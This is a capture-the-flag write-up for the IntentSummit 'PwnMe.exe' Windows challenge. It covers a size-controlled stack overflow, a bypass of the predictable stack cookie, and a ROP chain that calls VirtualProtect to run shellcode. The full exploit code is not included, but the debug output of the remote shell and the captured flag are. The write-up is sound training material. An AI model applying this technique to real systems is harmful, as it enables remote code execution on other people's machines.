The annual IntentSummit conference organized an online CTF. This time, I experimented pwning a windows binary for the 1st time in my life. As a *nix hacker, it took me awhile to adapt my current knowledge to windows-related stuff. I had to learn about some windows calling conventions+little bit of WinAPI stuff. Also, I got to bring back to life my very old(and un-used) windows VM. Overall, this chall was fun and quite friendly :D
The chall
Like every typical pwn challenge, we were given a windows binary(PwnMe.exe
) and a remote host to launch our exploit on.
The PwnMe.exe
binary is a server, listening on port 8888. Our task is to create a malicious client that will trigger a memory corruption & takeover the RIP register to achieve RCE. It requires a little bit of Reverse Engineering skills to spot the vuln, but not too much. To make things easier, I re-named the variables in the IDA screenshots of this writeup so it will be easier to follow.
Spotting the bug
The server has a handle_client
function: In this function, the PwnMe.exe server calls recv()
with a size
field that we control. This dynamicly-sized buffer is stored in inputBuf
and later on copied to a stack buffer stackBuf[]
that has a static size of 4096.
Exploitation
To exploit this, we will:
- Send a “size prefix” that has a large size(over 4096, bigger than
stackBuf[]
) - Send a large buffer that will overwrite the return address on the stack
This is pretty straight-forward. However, there’s a stack canary/cookie validation in our way:
The canary is static, but XORed with dword_140005000
, which is initilized during the program startup:
Technically, we can predict the value of the canary by:
- Adding to our exploit a call to
srand(0x5CA1AB1E)
+rand()
to recover the value ofdword_140005000
- Use the return value and XOR it with
0xCAFEBABE
However, after some basic testing: I found that the value of (dword_140005000 ^ 0xCAFEBEEF)
is 0xCAFEE3E0
100% of the time(static seed, lol)
So now, the plan is:
- Send a “size prefix” that has a large size(over 4096, bigger than
stackBuf[4096]
) - Send a buffer of 4096 bytes + contents that will overwrite the return address on the stack
- After 4096 bytes, send
0xCAFEE3E0
. This will prevent the condition from entering the** STACK SMASHING DETECTED **
error/keep thestck_cookie
variable in the same state that it was before we started our corruption.
- After 4096 bytes, send
- Continue filling the stack buffer until you reach the return address.
- profit
After taking over the RIP register, we need to craft a ROP chain.
ROP Chain
During startup, the program sets us an rwx page with very useful gadgets which can help us to populate function arguments before we call them in our ROP chain.
This ends-up in memory as:
Also, before calling handle_client
(which we discussed above): the server also gives us:
- The gadgets page address
- Address of VirtualProtect in memory
- RSP / stack leak
That’s, uhm, some very generous leaks lol
So, in that case: we can put a shellcode on the stack(which is not executable), then, craft a ROP chain that will make it executable by:
pop rcx
(lpAddress);pop rdx
(dwSize);pop r8
(flNewProtect);pop r9
(lpflOldProtect) to prepare the args forVirtualProtect
- ret2
VirtualProtect
in order to make the stack executable - jump to shellcode with a
call rsp
gadget :D
Initial PoC(launched against my windows VM) with a calc.exe
shellcode:
Now, all we got left to do is replacing the calc.exe
shellcode with a cmd.exe
and send it to the CTF server.
full exploit:
output:
$ ./hax.py DEBUG
[+] Opening connection to 34.231.191.85 on port 8888: Done
[DEBUG] Received 0x3c9 bytes:
b' ,------------. ,.--""-._\n'
b" | Alice's `. __/ `.\n"
b' | Adventures in | _,**" "*-. `.\n'
b" | Wonderland | ,' `. \\\n"
b" `---------------' ; _,.---._ \\ ,'\\ \\\n"
b" : ,' ,-.. `. \\' \\ :\n"
b' The Mad Hatter | ;_\\ (___)` `-..__ : |\n'
b' ;-\'`*\'" `*\' `--._ ` | ;\n'
b' /,-\'/ -. `---.` |"\n'
b' /_,\'`--=\'. `-.._,-" _\n'
b' (/\\\\,--. \\ ___-.`: //___\n'
b" /\\'''\\ ' | |-`| ( -__,'\n"
b" '. `--' ; ; ; ;/_/\n"
b" `. `.__,/ /_,' /`.~;\n"
b" _.-._|_/_,'.____/ /\n"
b' ..--" / =/ \\= \\ /\n'
b" / ;._.\\_.-`--'-._/ ____/\n"
b' \\ / /._/|.\\ ."\n'
b' `*--\'._ "-.: :\n'
b' :/".A` \\ |\n'
b' | |. `. :\n'
b' ; |. `. \\SSt\n'
b'\n'
[*] gadgets @ 0x1e666730000
[*] RSP @ 0x4c4856f9d8
[*] VirtualProtect @ 0x7ffbf7dcb990
[*] rwx_addr @ 0x4c4856e000
[*] Switching to interactive mode
*** YOU SEEM LIKE A NICE CLIENT :) ***
C:\Users\Administrator\Desktop
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported. Defaulting to Windows directory.
Microsoft Windows [Version 10.0.20348.1249].
(c) Microsoft Corporation. All rights reserved.
C:\Windows>
C:\Windows>$ powershell
PS C:\Windows> $ ls C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
------ 12/13/2022 12:33 PM 3467264 appjaillauncher-rs.exe
-a---- 12/1/2022 8:59 PM 3466240 appjaillauncher-rs_.exe
-a---- 6/21/2016 3:36 PM 527 EC2 Feedback.website
-a---- 6/21/2016 3:36 PM 554 EC2 Microsoft Windows Guide.website
-a---- 12/1/2022 8:59 PM 41 flag.txt
-a---- 12/13/2022 10:03 AM 967 madhatter.txt
-a---- 12/13/2022 12:54 PM 78 pwnme.cmd
-a---- 12/13/2022 12:53 PM 12800 PwnMe.exe
-a---- 12/1/2022 9:42 PM 15872 PwnMe_local.exe
-a---- 12/1/2022 9:49 PM 12288 PwnMe_no_banner.exe
PS C:\Windows> $ cat C:\Users\Administrator\Desktop\flag.txt
INTENT{Y0u_D1d_1t!_Y0ur3_th3_Pwn_M4st3r!}
Thanks for the challenge! :D